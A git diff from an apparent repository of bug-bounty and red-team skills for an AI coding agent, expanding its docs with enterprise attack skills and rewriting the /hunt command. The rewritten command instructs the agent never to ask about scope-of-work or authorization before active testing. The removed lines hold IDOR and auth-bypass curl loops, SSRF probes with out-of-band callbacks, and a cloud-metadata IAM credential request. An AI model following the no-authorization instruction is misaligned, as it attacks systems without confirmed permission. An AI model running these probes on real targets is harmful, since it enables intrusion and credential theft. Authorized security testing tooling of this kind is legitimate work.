Skip to content

A Claude Code skill bundle for bug hunting and external red-team work - 82 skills, 15 slash commands, 681 disclosed-report patterns curated across 24 core vulnerability classes, plus enterprise identity + infrastructure attack matrices.

Add 14 red-team and enterprise-platform skills; refresh docs to 54 skills

Sachin Sharmacc7852295a7f
diff --git a/.gitignore b/.gitignore
index 6368cfc..fb47a3a 100644
--- a/.gitignore
+++ b/.gitignore
@@ -26,6 +26,7 @@ submissions.txt
notes.md
scope.md
CLAUDE.md.local
+targets/
# Secrets
.env
diff --git a/INSTALL.md b/INSTALL.md
index 3967b29..acb2137 100644
--- a/INSTALL.md
+++ b/INSTALL.md
@@ -27,7 +27,7 @@ chmod +x scripts/install.sh
```
This copies:
-- All 40 skills → `~/.claude/skills/`
+- All 54 skills → `~/.claude/skills/`
- All 15 slash commands → `~/.claude/commands/`
- The `hunt` shell command → `~/.claude/scripts/hunt.sh` (sourced from your `.zshrc` or `.bashrc` automatically)
diff --git a/README.md b/README.md
index ac4eabf..7e01b64 100644
--- a/README.md
+++ b/README.md
@@ -2,7 +2,7 @@
# claude-bughunter
-> A self-contained Claude skill bundle for bug hunting · **40 skills** · 15 slash commands · **574+ disclosed-report patterns** across 24 vulnerability classes · engagement-folder scaffolding · Burp MCP integration · battle-tested through real Bugcrowd engagements.
+> A self-contained Claude skill bundle for bug hunting and external red-team work · **54 skills** · 15 slash commands · **574+ disclosed-report patterns** across 27 vulnerability classes · enterprise identity + infrastructure attack matrices · engagement-folder scaffolding · Burp MCP integration · battle-tested through Bugcrowd financial-target work AND a paid external red-team engagement against an a large enterprise (May 2026).
Built by **[ElementalSoul](https://github.com/elementalsouls)** — Bug Bounty & GenAI Security Research.
@@ -10,17 +10,18 @@ Built by **[ElementalSoul](https://github.com/elementalsouls)** — Bug Bounty &
## What is this?
-`claude-bughunter` is a drop-in skill bundle for the [Claude Code skills system](https://docs.claude.com/en/docs/claude-code/skills). Install once and Claude Code stops being a chatbot and starts behaving like a senior bug-bounty researcher: it knows the techniques, the chain templates, the VRT mappings, and the hygiene — and it stays in scope.
+`claude-bughunter` is a drop-in skill bundle for the [Claude Code skills system](https://docs.claude.com/en/docs/claude-code/skills). Install once and Claude Code stops being a chatbot and starts behaving like a senior bug-bounty researcher or red-team operator: it knows the techniques, the chain templates, the VRT mappings, the platform CVE chains, and the hygiene — and it stays in scope.
-Three layers stack:
+Four layers stack:
-- **`bug-bounty` + `bb-methodology`** — *how to think.* 5-phase non-linear hunting workflow, critical-thinking framework, developer-psychology heuristics, anomaly detection patterns.
-- **24 `hunt-*` skills + `security-arsenal`** — *what to look for.* Per-class detection patterns, payloads, bypass tables, and chain templates curated from 574+ disclosed HackerOne reports.
-- **`triage-validation` + `bugcrowd-reporting` + `evidence-hygiene`** — *how to ship it.* 7-Question Gate, VRT category fallback, severity-request paragraphs, OOS rebuttals, cookie/PII redaction protocols.
+- **`bug-bounty` + `bb-methodology` + `redteam-mindset`** — *how to think.* 5-phase non-linear hunting workflow, critical-thinking framework, developer-psychology heuristics, anomaly detection patterns, and the red-team operator-discipline corrections (when scope is "external red team" not "bug bounty / WAPT").
+- **27 `hunt-*` skills + `security-arsenal`** — *what to look for in webapps.* Per-class detection patterns, payloads, bypass tables, and chain templates curated from 574+ disclosed HackerOne reports.
+- **Enterprise platform attack chains** — *what to look for on the perimeter.* `m365-entra-attack`, `okta-attack`, `cloud-iam-deep`, `vmware-vcenter-attack`, `enterprise-vpn-attack`, `hunt-sharepoint`, `hunt-aspnet`, `hunt-ntlm-info`, `apk-redteam-pipeline`, `supply-chain-attack-recon` — current 2024-2026 CVE chains, AADSTS error references, version-fingerprint matrices, and post-credential escalation paths.
+- **`triage-validation` + `bugcrowd-reporting` + `evidence-hygiene` + `redteam-report-template` + `mid-engagement-ir-detection`** — *how to ship it.* 7-Question Gate, VRT category fallback, severity-request paragraphs, OOS rebuttals, cookie/PII redaction, client-facing red-team deliverable format, and SOC-patch / mid-engagement-attacker detection methodology.
All triggered automatically by topic — describe what you're testing in plain English and the relevant skill loads. No invocation by name.
-> **40 skills · 15 commands · 574+ disclosed reports curated · 6-phase workflow · validated through a Bugcrowd financial-target engagement.**
+> **54 skills · 15 commands · 574+ disclosed reports curated · 6-phase workflow · validated through both a Bugcrowd financial-target engagement and a paid external red-team engagement (redacted-client, May 2026).**
---
@@ -28,24 +29,38 @@ All triggered automatically by topic — describe what you're testing in plain E
```
Claude-BugHunter/
-├── skills/ # 40 SKILL.md bundles
+├── skills/ # 54 SKILL.md bundles
│ ├── bug-bounty/SKILL.md # master orchestrator (vendored)
│ ├── bb-methodology/SKILL.md # 5-phase workflow + mindset (vendored)
│ ├── bb-local-toolkit/SKILL.md # full pipeline router
+│ ├── redteam-mindset/SKILL.md # red-team operator discipline
+│ ├── mid-engagement-ir-detection/SKILL.md # detect SOC patches + attacker activity mid-test
│ ├── osint-methodology/SKILL.md # 5-stage recon + asset graph
│ ├── offensive-osint/ # 15-reference probe arsenal
│ │ ├── SKILL.md
│ │ ├── references/ # progressive-disclosure modules
│ │ └── scripts/secret_scan.py
+│ ├── supply-chain-attack-recon/SKILL.md # dep-confusion, GH Actions, SBOM mining
│ ├── triage-validation/SKILL.md # 7-Question Gate (vendored)
│ ├── report-writing/SKILL.md # H1/Bugcrowd/Intigriti templates (vendored)
│ ├── bugcrowd-reporting/SKILL.md # VRT, OOS rebuttals, severity requests
+│ ├── redteam-report-template/SKILL.md # client-facing deliverable format
│ ├── evidence-hygiene/SKILL.md # cookie/PII/HAR redaction
│ ├── security-arsenal/SKILL.md # payloads + bypass tables (vendored)
│ ├── web2-recon/SKILL.md # subdomain enum, host discovery (vendored)
│ ├── web3-audit/SKILL.md # 10 DeFi bug classes (vendored)
│ ├── meme-coin-audit/SKILL.md # token rug-pull detection (vendored)
-│ └── hunt-*/SKILL.md # 24 per-class hunt skills
+│ ├── m365-entra-attack/SKILL.md # M365/Entra ID full chain (AADSTS, CA bypass, ROPC)
+│ ├── okta-attack/SKILL.md # Okta-as-IdP enumeration + factor flows
+│ ├── cloud-iam-deep/SKILL.md # AWS/Azure/GCP IAM priv-esc
+│ ├── vmware-vcenter-attack/SKILL.md # vCenter/Workspace ONE/Aria CVE chain
+│ ├── enterprise-vpn-attack/SKILL.md # Cisco/Fortinet/Citrix/PAN/Pulse SSL VPN
+│ ├── apk-redteam-pipeline/SKILL.md # APK acquisition → jadx → secrets → Frida
+│ ├── hunt-dispatch/SKILL.md # /hunt mode router (redteam vs WAPT)
+│ ├── hunt-sharepoint/SKILL.md # SharePoint on-prem (ToolShell chain, anon SOAP)
+│ ├── hunt-aspnet/SKILL.md # ASP.NET ViewState, machineKey, WebForms
+│ ├── hunt-ntlm-info/SKILL.md # NTLM Type-2 AD topology disclosure
+│ └── hunt-*/SKILL.md # 27 per-class web hunt skills
├── commands/ # 15 slash commands
├── scripts/
│ ├── hunt.sh # engagement-folder scaffolder
@@ -63,7 +78,7 @@ Drop the contents of `skills/` into `~/.claude/skills/` and Claude auto-triggers
## Skill Index
-40 skills across 7 capability domains. Each row maps a capability to the skill that codifies it.
+54 skills across 10 capability domains. Each row maps a capability to the skill that codifies it.
### Web Application Hunting
@@ -76,6 +91,7 @@ Drop the contents of `skills/` into `~/.claude/skills/` and Claude auto-triggers
| Cross-site request forgery (chain-required) | 10 | `hunt-csrf` |
| File upload bypass (10 techniques: double-ext, magic-bytes, polyglot, ZIP slip) | curated | `hunt-file-upload` |
| Server-side template injection (Jinja2, Twig, Freemarker, ERB, Spring) | curated | `hunt-ssti` |
+| **ASP.NET ViewState · machineKey · WebForms · WCF · request-validator bypass** | curated | `hunt-aspnet` |
### Authentication & Identity
@@ -109,6 +125,32 @@ Drop the contents of `skills/` into `~/.claude/skills/` and Claude auto-triggers
| LLM / agentic AI — prompt injection, ASCII smuggling, ASI01-ASI10 | curated | `hunt-llm-ai` |
| Misc — catch-all for less-common classes | 225 | `hunt-misc` |
+### Enterprise Identity & Cloud Attack ★ new
+
+| Capability | Source | Skill |
+|---|---|---|
+| **M365 / Entra ID — AADSTS codes, user enum, Smart Lockout math, CA bypass, ROPC, SAML SSO browser flow** | redacted-client red-team May 2026 | `m365-entra-attack` |
+| **Okta-as-IdP — tenant discovery, user enum vectors, factor enumeration, push-fatigue, FastPass abuse, OIDC redirect_uri tampering** | original | `okta-attack` |
+| **Cloud IAM priv-esc — AWS (24+), Azure (8+), GCP (6+) patterns · STS chaining · IMDS · K8s SA tokens · confused-deputy** | original | `cloud-iam-deep` |
+
+### Infrastructure & Appliance Attack ★ new
+
+| Capability | Source | Skill |
+|---|---|---|
+| **VMware vSphere / vCenter / Workspace ONE / Aria CVE chain (CVE-2021-21972 → CVE-2024-37085)** | original | `vmware-vcenter-attack` |
+| **Enterprise SSL VPN — Cisco ASA/AnyConnect · Fortinet · Citrix NetScaler · Palo Alto · Pulse/Ivanti · SonicWall · F5** | redacted-client red-team May 2026 | `enterprise-vpn-attack` |
+| **SharePoint on-prem (2013-SE) — ToolShell precondition chain (CVE-2025-53770), SOAP auth bypass, anon FormDigest, SafeControl enum** | engagement_2026_05 | `hunt-sharepoint` |
+| **NTLM/Negotiate anonymous Type-2 disclosure — AV_PAIRS leakage, internal DNS forest, default WIN-XXX hostnames** | engagement_2026_05 | `hunt-ntlm-info` |
+
+### Red Team Tradecraft ★ new
+
+| Capability | Source | Skill |
+|---|---|---|
+| **Red-team operator discipline — mindset corrections separating offensive from defensive WAPT** | redacted-client red-team May 2026 | `redteam-mindset` |
+| **Mid-engagement IR detection — SOC patches mid-test, external attacker activity, baseline-shift detection** | redacted-client red-team May 2026 | `mid-engagement-ir-detection` |
+| **Android APK red-team pipeline — Play Store + apkpure acquisition, jadx decompile, secret/JWT/Firebase grep, Frida templates** | redacted-client red-team May 2026 | `apk-redteam-pipeline` |
+| **Supply-chain recon — dep-confusion, GH Actions injection, SBOM mining, container registry exposure, internal-package leakage** | original | `supply-chain-attack-recon` |
+
### Recon & OSINT
| Capability | Skill |
@@ -124,6 +166,7 @@ Drop the contents of `skills/` into `~/.claude/skills/` and Claude auto-triggers
|---|---|
| Master orchestrator · pulls in other skills as needed | `bug-bounty` |
| 5-phase non-linear workflow + critical-thinking framework | `bb-methodology` |
+| **`/hunt` two-track dispatcher — Red Team vs WAPT mode, fingerprints target, loads platform skills** ★ | `hunt-dispatch` |
| 7-Question Gate · 4 pre-submission gates · never-submit list | `triage-validation` |
| Payloads, bypass tables, wordlists, gf patterns | `security-arsenal` |
@@ -132,8 +175,9 @@ Drop the contents of `skills/` into `~/.claude/skills/` and Claude auto-triggers
| Capability | Skill |
|---|---|
| H1 / Bugcrowd / Intigriti / Immunefi templates · CVSS 3.1 + 4.0 | `report-writing` |
-| **Bugcrowd VRT category fallback · severity-request paragraph · OOS rebuttals · chained-finding patterns** | `bugcrowd-reporting` |
-| **Cookie redaction · PII black-bar · HAR sanitization · screenshot hygiene** | `evidence-hygiene` |
+| Bugcrowd VRT category fallback · severity-request paragraph · OOS rebuttals · chained-finding patterns | `bugcrowd-reporting` |
+| **Client-facing red-team deliverable — Subject / Observations / Description / Impact / Recommendation / PoC, MD + DOCX packaging** ★ | `redteam-report-template` |
+| Cookie redaction · PII black-bar · HAR sanitization · screenshot hygiene | `evidence-hygiene` |
### Specialized
@@ -166,7 +210,7 @@ Drop the contents of `skills/` into `~/.claude/skills/` and Claude auto-triggers
## Architecture
-40 skills across 6 phases, with a 24-skill `hunt-*` sub-stack, an integration layer (Burp MCP, the `hunt` shell command, optional Anthropic + HackerOne APIs), and a usage decision tree for picking the right skill per task.
+54 skills across 6 phases, with a 27-skill `hunt-*` sub-stack, a 7-skill enterprise-platform attack layer (M365/Okta/cloud-IAM/vCenter/VPN/SharePoint/APK), an integration layer (Burp MCP, the `hunt` shell command, optional Anthropic + HackerOne APIs), and a usage decision tree for picking the right skill per task.
![architecture overview](assets/architecture-overview.svg)
@@ -200,7 +244,7 @@ cd Claude-BugHunter
./scripts/install.sh
```
-That copies all 40 skills to `~/.claude/skills/`, all 15 commands to `~/.claude/commands/`, and sources `hunt.sh` from your shell rc.
+That copies all 54 skills to `~/.claude/skills/`, all 15 commands to `~/.claude/commands/`, and sources `hunt.sh` from your shell rc.
### First engagement
@@ -244,7 +288,7 @@ The bundle explicitly **excludes**: weaponizing 0-days against unauthorized targ
| [`INSTALL.md`](INSTALL.md) | Full setup with Burp MCP integration and optional skill regenerator |
| [`USAGE.md`](USAGE.md) | Workflow walkthrough · decision tree · worked engagement example |
| [`docs/architecture.md`](docs/architecture.md) | 6-phase architecture · skill-to-phase mapping · engagement composition |
-| [`docs/credits.md`](docs/credits.md) | Full attribution: 32 original skills + 8 vendored from upstream |
+| [`docs/credits.md`](docs/credits.md) | Full attribution: 46 original skills + 8 vendored from upstream |
| [`CONTRIBUTING.md`](CONTRIBUTING.md) | PR guidelines · skill quality standards · scope |
| [`SECURITY.md`](SECURITY.md) | Authorized-use posture · responsible disclosure · what's excluded |
| [`LICENSE`](LICENSE) | MIT |
@@ -255,14 +299,24 @@ The bundle explicitly **excludes**: weaponizing 0-days against unauthorized targ
Most bug-hunting Claude setups are either too generic (one big "security" prompt) or too fragmented (you bookmark 30 disclosed reports and re-read them every engagement). Neither scales past the second target.
-This bundle was built and validated through a real Bugcrowd engagement on a major financial target. That engagement exposed four capability gaps that a starter 3-skill stack could not close:
+This bundle was built and validated through two paid engagements that exposed different capability gaps:
+
+**Bugcrowd financial target** — surfaced four gaps a starter 3-skill stack could not close:
1. **No hypothesis discipline** — drafts written before validation → wasted hours, hurt validity ratio
2. **No per-program reporting tactics** — VRT defaults auto-downgraded P3-worthy findings to P4
3. **No engagement coordination** — findings, evidence, and submission IDs scattered across folders
4. **No evidence hygiene** — screenshots leaked cookies and victim PII
-The 24 per-class `hunt-*` skills address gap-zero (*"what should I look for"*) by codifying patterns from 574+ disclosed HackerOne reports — Claude knows the actual chain templates real triagers paid for, not abstract OWASP Top 10. The other gaps are addressed directly by `triage-validation` (vendored), `bugcrowd-reporting`, `evidence-hygiene`, and the `hunt` shell scaffold (originals).
+**External red-team — a large enterprise (redacted-client, May 2026)** — exposed five additional gaps that bug-bounty defaults made worse:
+
+1. **Conservative defaults retracted real findings** — WAPT mindset stopped tests early on defended targets where red-team continuation would have surfaced bypass chains → `redteam-mindset`
+2. **No mid-engagement situational awareness** — client SOC patched confirmed SQLi within 30 min; external attacker locked 14 accounts during a live test session — both invisible without explicit detection methodology → `mid-engagement-ir-detection`
+3. **No enterprise-platform attack chains** — M365 + Entra ID, on-prem SharePoint, Cisco SSL VPN, vCenter, and 7 Android APKs all needed current 2024-2026 CVE knowledge and platform-specific tradecraft → `m365-entra-attack`, `okta-attack`, `hunt-sharepoint`, `hunt-aspnet`, `hunt-ntlm-info`, `vmware-vcenter-attack`, `enterprise-vpn-attack`, `apk-redteam-pipeline`
+4. **No client-facing deliverable format** — bug-bounty report templates don't fit enterprise red-team where output is a 50KB+ MD + DOCX with embedded screenshots → `redteam-report-template`
+5. **No post-credential escalation model** — when recon yielded credentials (AWS keys, JWTs, GCP JSON), it was unclear what they granted or how to escalate → `cloud-iam-deep`
+
+The 27 per-class `hunt-*` skills address gap-zero (*"what should I look for in webapps"*) by codifying patterns from 574+ disclosed HackerOne reports — Claude knows the actual chain templates real triagers paid for, not abstract OWASP Top 10. The enterprise-platform and red-team-tradecraft layers address what bug-bounty alone cannot: external red-team engagements against monitored enterprise targets.
---
@@ -273,6 +327,9 @@ The 24 per-class `hunt-*` skills address gap-zero (*"what should I look for"*) b
- [ ] Industry-specific hunt skills — `hunt-fintech-graphql`, `hunt-healthcare-fhir`, `hunt-gov-compliance`
- [ ] Program-rules-parser skill — auto-generate structured `scope.md` from program text
- [ ] Refresh `hunt-*` skills with newer disclosed reports (re-run `public-skills-builder`)
+- [ ] Additional enterprise-platform skills — `citrix-netscaler-deep`, `f5-bigip-attack`, `ad-cs-attack` (AD Certificate Services)
+- [ ] Refresh enterprise-VPN CVE matrix quarterly to track 2026 advisories
+- [ ] Update architecture SVG to include the 7-skill enterprise-platform layer
- [ ] CHANGELOG.md and CODE_OF_CONDUCT.md (matching Claude-OSINT layout)
---
@@ -285,7 +342,7 @@ Operational tradecraft accumulated across bug-bounty engagements and authorized
**Sister project:** [Claude-OSINT](https://github.com/elementalsouls/Claude-OSINT) — paired skills for the recon phase that this bundle picks up after.
-**Vendored foundation:** [shuvonsec/claude-bug-bounty](https://github.com/shuvonsec/claude-bug-bounty) — methodology, validation, reporting, payload library (8 of 40 skills + 15 slash commands)
+**Vendored foundation:** [shuvonsec/claude-bug-bounty](https://github.com/shuvonsec/claude-bug-bounty) — methodology, validation, reporting, payload library (8 of 54 skills + 15 slash commands)
**Generator tool used (not vendored):** [shuvonsec/public-skills-builder](https://github.com/shuvonsec/public-skills-builder) — used to scaffold per-class skills from H1 disclosed reports
diff --git a/USAGE.md b/USAGE.md
index 957bff0..6468141 100644
--- a/USAGE.md
+++ b/USAGE.md
@@ -1,8 +1,8 @@
# Claude-BugHunter — Usage Guide
-A practical guide to using the 40-skill Claude-BugHunter bundle for bug hunting (bounty programs, authorized pentesting, CTFs, vuln research). This document covers what's in the bundle, how it composes, and how to use it on a real engagement from intake through paid bounty.
+A practical guide to using the 54-skill Claude-BugHunter bundle for bug hunting (bounty programs, authorized pentesting, CTFs, vuln research) **and external red-team engagements** against enterprise targets. This document covers what's in the bundle, how it composes, and how to use it on a real engagement from intake through paid bounty (or final client deliverable).
-> Built and validated through a real Bugcrowd engagement on a major financial target. The engagement exposed four capability gaps in a starter 3-skill stack; the final stack documented here fixes all four and adds 30+ new skills, a Burp MCP integration, and engagement scaffolding.
+> Built and validated through two paid engagements: a Bugcrowd engagement on a major financial target (exposed four bug-bounty capability gaps), and an external red-team engagement against an a large enterprise (redacted-client, May 2026 — exposed five additional gaps around platform attack chains, mid-engagement IR detection, and client-facing reporting). The final stack documented here addresses both modes.
---
@@ -18,7 +18,7 @@ The stack maps to a 6-phase bug-bounty workflow. Each phase has its own skill se
|---|---|---|
| **1. Scope** | Reading program rules, deciding what's in/out, scaffolding the engagement folder | `bug-bounty`, `bb-methodology`, `osint-methodology` + `hunt <target>` shell command |
| **2. Recon** | Asset discovery, subdomain enum, endpoint mapping, secret hunting | `offensive-osint`, `web2-recon`, `bb-local-toolkit` |
-| **3. Hunt** | Active testing for bugs in specific vuln classes | 24 `hunt-*` skills (auto-trigger by class) + `security-arsenal` (payloads) |
+| **3. Hunt** | Active testing for bugs in specific vuln classes | 27 `hunt-*` skills + 7 enterprise-platform skills (M365/Okta/cloud-IAM/vCenter/VPN/SharePoint/APK) + `security-arsenal` |
| **4. Validate** | Decide whether a lead is actually a reportable bug | `triage-validation` (7-Question Gate) via `/triage` or `/validate` |
| **5. Capture** | PoC screenshots, HAR files, evidence redaction | `evidence-hygiene` |
| **6. Report** | Draft and submit | `report-writing`, `bugcrowd-reporting` |
@@ -27,7 +27,7 @@ See [docs/architecture.md](docs/architecture.md) for a more detailed breakdown.
---
-## 2. Skill inventory (40 skills total)
+## 2. Skill inventory (54 skills total)
### Workflow skills — the spine of any engagement
@@ -45,7 +45,7 @@ See [docs/architecture.md](docs/architecture.md) for a more detailed breakdown.
| `web2-recon` | Subdomain enumeration, host discovery, URL crawling | "find all subdomains of X" |
| `bb-local-toolkit` | Router for local cloned bug-bounty repos | "which tool for X", refers to local stack |
-### Hunt — 24 per-class skills
+### Hunt — 27 per-class web skills
Each focuses on one vulnerability class with detection patterns, payloads, bypass tables, and chain opportunities drawn from disclosed bug-bounty reports.
@@ -74,10 +74,36 @@ Each focuses on one vulnerability class with detection patterns, payloads, bypas
| `hunt-cloud-misconfig` | AWS/GCP/Azure/K8s misconfigurations |
| `hunt-subdomain` | Subdomain takeover (27+ provider fingerprints) |
| `hunt-llm-ai` | Prompt injection, ASCII smuggling, agentic AI bugs |
+| `hunt-aspnet` | ASP.NET ViewState deserialization, machineKey, WebForms, request-validator bypass |
+| `hunt-sharepoint` | SharePoint on-prem (ToolShell chain, anon SOAP, SafeControl enum, FormDigest) |
+| `hunt-ntlm-info` | NTLM Type-2 anonymous AD topology disclosure |
| `hunt-misc` | Catch-all for less-common classes |
+Plus `hunt-dispatch` — the meta-router that the `/hunt` slash command uses to pick Red Team vs WAPT mode and load the right skill set.
+
**How auto-triggering works**: just describe what you're testing — e.g., *"I see a `?url=` parameter on this endpoint"* — and Claude loads only `hunt-ssrf`. You don't invoke them by name. The skill matcher looks at your prose and triggers based on the description field.
+### Enterprise platform attack — 7 skills (red-team layer)
+
+Required for external red-team work where targets are full enterprise estates rather than a single webapp.
+
+| Skill | Purpose |
+|---|---|
+| `m365-entra-attack` | M365 / Entra ID — AADSTS codes, user enum, Smart Lockout math, CA bypass, ROPC, SAML SSO browser flow |
+| `okta-attack` | Okta-as-IdP — tenant discovery, factor enum, push fatigue, FastPass abuse, OIDC redirect_uri tampering |
+| `cloud-iam-deep` | AWS / Azure / GCP IAM priv-esc — STS chaining, IMDS, K8s SA tokens, confused-deputy |
+| `vmware-vcenter-attack` | vSphere / vCenter / Workspace ONE / Aria CVE chain (CVE-2021-21972 → CVE-2024-37085) |
+| `enterprise-vpn-attack` | SSL VPN appliances — Cisco ASA, Fortinet, Citrix NetScaler, PAN GlobalProtect, Pulse/Ivanti, SonicWall, F5 |
+| `apk-redteam-pipeline` | Android APK acquisition → jadx → secret grep → Frida instrumentation |
+| `supply-chain-attack-recon` | Dep-confusion, GH Actions injection, SBOM mining, container registry exposure |
+
+### Red-team tradecraft — 2 skills
+
+| Skill | Purpose |
+|---|---|
+| `redteam-mindset` | Operator discipline — mindset corrections that separate offensive from defensive WAPT. Load at start of every red-team engagement. |
+| `mid-engagement-ir-detection` | Detect SOC patches mid-test, external attacker activity, baseline shifts → convert observations into deliverable findings |
+
### Hunt support — payloads and specialized
| Skill | Purpose |
@@ -104,6 +130,7 @@ Each focuses on one vulnerability class with detection patterns, payloads, bypas
|---|---|---|
| `report-writing` | H1 / Bugcrowd / Intigriti / Immunefi report templates, CVSS 3.1 + 4.0 | `/report` |
| `bugcrowd-reporting` | Bugcrowd-specific: VRT search, severity-request paragraph, OOS rebuttals | (loaded with report-writing) |
+| `redteam-report-template` | Client-facing deliverable: Subject / Observations / Description / Impact / Recommendation / PoC. MD + DOCX with embedded screenshots. | (auto-loads on red-team scope) |
---
@@ -229,7 +256,7 @@ Cross-reference this UUID in any chained submissions you file later.
If another pentester wants to replicate this stack, the install steps are in [INSTALL.md](INSTALL.md). The short version:
1. Clone this repo
-2. Run `./scripts/install.sh` (installs all 40 skills, 15 commands, and hunt scaffold in one step)
+2. Run `./scripts/install.sh` (installs all 54 skills, 15 commands, and hunt scaffold in one step)
3. Set up Burp MCP (BApp Store extension + `claude mcp add burp ...`)
4. (Optional) Refresh upstream snapshots via `./scripts/install-community-skills.sh`
5. (Optional) Set up the skill regenerator with Anthropic + H1 API keys
diff --git a/commands/hunt.md b/commands/hunt.md
index b7913b7..6d907b5 100644
--- a/commands/hunt.md
+++ b/commands/hunt.md
@@ -1,274 +1,100 @@
---
-description: Start hunting on a target — loads scope, reads disclosed reports, picks best attack surface based on tech stack, runs targeted vuln checks. Usage: /hunt target.com [--vuln-class ssrf|idor|xss|sqli|oauth|race|graphql|llm|upload|business-logic]
+description: Active vulnerability hunting. Two-track dispatcher — asks Red Team vs WAPT, hands off to hunt-dispatch skill and sibling commands. Usage: /hunt target.com | /hunt *.target.com | /hunt targets.txt [--vuln-class X] [--source-code P] [--chrome]
---
# /hunt
-Active vulnerability hunting on a target.
+slim two-track dispatcher. one mode question, one branch, delegate. never asks about SOW — invoking `/hunt` implies SOW is signed.
-## What This Does
+## step 0 — parse
-1. Reads program scope (in-scope assets, exclusions, payment behavior)
-2. Loads recon output from `recon/<target>/` if available
-3. Detects tech stack and maps to primary bug classes
-4. Runs targeted tests for the highest-ROI bug classes
-5. Documents findings with exact HTTP requests
-
-## Usage
-
-```
-/hunt target.com
-/hunt target.com --vuln-class idor # focus on one bug class (lower tokens, faster)
-/hunt target.com --vuln-class ssrf
-/hunt target.com --vuln-class graphql
-/hunt target.com --source-code ./repo # static analysis + live testing
-/hunt target.com --chrome # browser-based testing via Chrome MCP
-/hunt targets.txt # multi-target: one domain per line
-```
-
-## Session Isolation
-
-**One session per target.** Claude accumulates context — testing two targets in one session
-causes cross-contamination where payloads, assumptions, and findings from target A
-affect target B.
-
-```bash
-claude → /hunt targetA.com # Terminal 1
-claude → /hunt targetB.com # Terminal 2 (separate process)
-```
-
-## Multi-Target
-
-Create a `targets.txt` with one domain per line:
```
-api.target.com
-app.target.com
-admin.target.com
+target.com single target
+*.target.com wildcard — /recon <base> first, then hunt each live host
+targets.txt multi-target — mode question once, applied per line
+--vuln-class <X> skip mode question, load only hunt-<X>
+--source-code <p|url> static + dynamic
+--chrome browser MCP mode
```
-Then: `/hunt targets.txt --vuln-class idor`
-
-Each target runs independently. Findings scoped per-target in hunt memory.
-
-## Source Code Mode (--source-code)
-```
-/hunt target.com --source-code ./path/to/repo
-/hunt target.com --source-code https://github.com/org/repo
-```
+wildcard handler: if `$TARGET` begins with `*.`, strip prefix and invoke `/recon <base>` before continuing.
-Enables:
-- Hardcoded secrets and API key grep
-- Route-to-controller mapping — find endpoints with missing auth decorators
-- Dangerous function scan: eval, exec, unserialize, raw SQL concat
-- Cross-reference source findings with live endpoint scan
+## step 1 — mode dispatcher
-## Chrome MCP Mode (--chrome)
+skipped if `--vuln-class` is set.
```
-/hunt target.com --chrome
+question: "what kind of engagement is this for {target}?"
+header: "engagement"
+options:
+ 1. Red Team Assessment — critical/high impact, chained findings, client deliverable
+ 2. WAPT / BugHunting — full OWASP coverage, platform/program report
```
-Requires Chrome MCP configured in Claude Code settings. Enables:
-- OAuth / SSO / 2FA flows that require JS
-- DOM-based XSS (invisible to curl probes)
-- WebSocket endpoints
-- SPA route discovery (React/Vue/Angular)
-- Real file upload and form submission
+do not prompt for SOW, scope-of-work, engagement letter, or authorization.
-## Phase 1: Read Before Touching (15 min)
+## step 2a — red team
-### Read Program Scope
-```
-1. Go to program page (HackerOne/Bugcrowd/Intigriti)
-2. Note ALL in-scope domains — only test these
-3. Note ALL out-of-scope domains — never test these (Vienna: /advuew/* excluded!)
-4. Note impact types accepted (some exclude "low" severity)
-5. Check average bounty — signals program generosity
```
-
-### Read Disclosed Reports (Intel)
-```bash
-# HackerOne Hacktivity for this program:
-# https://hackerone.com/TARGET_NAME/hacktivity
-
-# Search by bug class:
-# https://hackerone.com/hacktivity?querystring=TARGET_NAME+IDOR
-# https://hackerone.com/hacktivity?querystring=TARGET_NAME+SSRF
-
-# Extract from each report:
-# 1. Which endpoint
-# 2. Which bug class
-# 3. What parameter
-# 4. What check was missing
-# 5. What they paid
+mode: redteam
+severity gate: critical / high · medium only if it chains via /chain
+report: redteam-report-template
```
-## Phase 2: Tech Stack Detection (2 min)
+invoke `hunt-dispatch` skill with `mode=redteam`. hunt-dispatch fingerprints the target, loads platform skills + always-on (`redteam-mindset`, `mid-engagement-ir-detection`), and prints the taxonomy.
-```bash
-TARGET="target.com"
+## step 2b — wapt
-curl -sI https://$TARGET | grep -iE "server|x-powered-by|x-aspnet|x-runtime|x-generator"
+ask again:
-# Stack → Primary bug class:
-# Ruby on Rails → mass assignment, IDOR
-# Django → IDOR (ModelViewSet), SSTI
-# Flask → SSTI (render_template_string), SSRF
-# Laravel → mass assignment, IDOR
-# Express/Node → prototype pollution, path traversal
-# Spring Boot → Actuator endpoints, SSTI
-# Next.js → SSRF via Server Actions, open redirect
-# GraphQL → introspection, IDOR via node(), auth bypass on mutations
```
-
-## Phase 3: Active Testing
-
-### IDOR Testing (highest ROI)
-
-```bash
-# Setup: create two accounts (attacker + victim)
-# Log in as attacker, perform actions, note all IDs in requests
-# Replay with attacker's token but victim's IDs
-
-# Test HTTP method variations:
-# If GET /api/user/123/orders is protected:
-curl -X DELETE https://target.com/api/user/123/orders \
- -H "Authorization: Bearer ATTACKER_TOKEN"
-
-# Test API version differences:
-# Protected: /api/v2/user/123/data
-# Try: /api/v1/user/123/data (older version, may lack auth)
-
-# Test GraphQL node():
-# {"query": "{ node(id: \"dXNlcjoy\") { ... on User { email phone } } }"}
+question: "black box or grey box?"
+header: "test mode"
+options:
+ 1. Black Box — no credentials, external perspective
+ 2. Grey Box — test credentials provided (or skip)
```
-### Auth Bypass Testing
+grey box → prompt `creds (user/pass or token), or "skip":`. creds live in session memory only — never written, never logged. late-bind: if user later says "now grey box with X/Y", capture creds, do NOT re-fire mode question.
-```bash
-# Check all siblings — if 9 have auth, find the 1 that doesn't:
-for endpoint in export delete share archive download restore transfer admin; do
- curl -s -o /dev/null -w "$endpoint: %{http_code}\n" \
- "https://target.com/api/users/123/$endpoint" \
- -H "Authorization: Bearer ATTACKER_TOKEN"
-done
-
-# Remove auth entirely:
-curl -s "https://target.com/api/users/123/profile" # no auth header
```
-
-### SSRF Testing
-
-```bash
-# Find URL parameters in recon output
-cat recon/$TARGET/ssrf-candidates.txt | head -20
-
-# Test with cloud metadata
-# Use interactsh for OOB confirmation:
-interactsh-client &
-INTERACT_URL="http://$(interactsh-client --poll)"
-
-# Test payloads:
-curl "https://target.com/api/image?url=$INTERACT_URL"
-curl "https://target.com/api/webhook" -d "{\"url\": \"$INTERACT_URL\"}"
-
-# If DNS callback confirmed → escalate to internal:
-curl "https://target.com/api/image?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
+mode: wapt / {blackbox|greybox}
+severity gate: all owasp-relevant
+report: report-writing (bugcrowd-reporting if target on bugcrowd)
```
-### GraphQL Testing
+invoke `hunt-dispatch` skill with `mode=wapt box=blackbox|greybox`.
-```bash
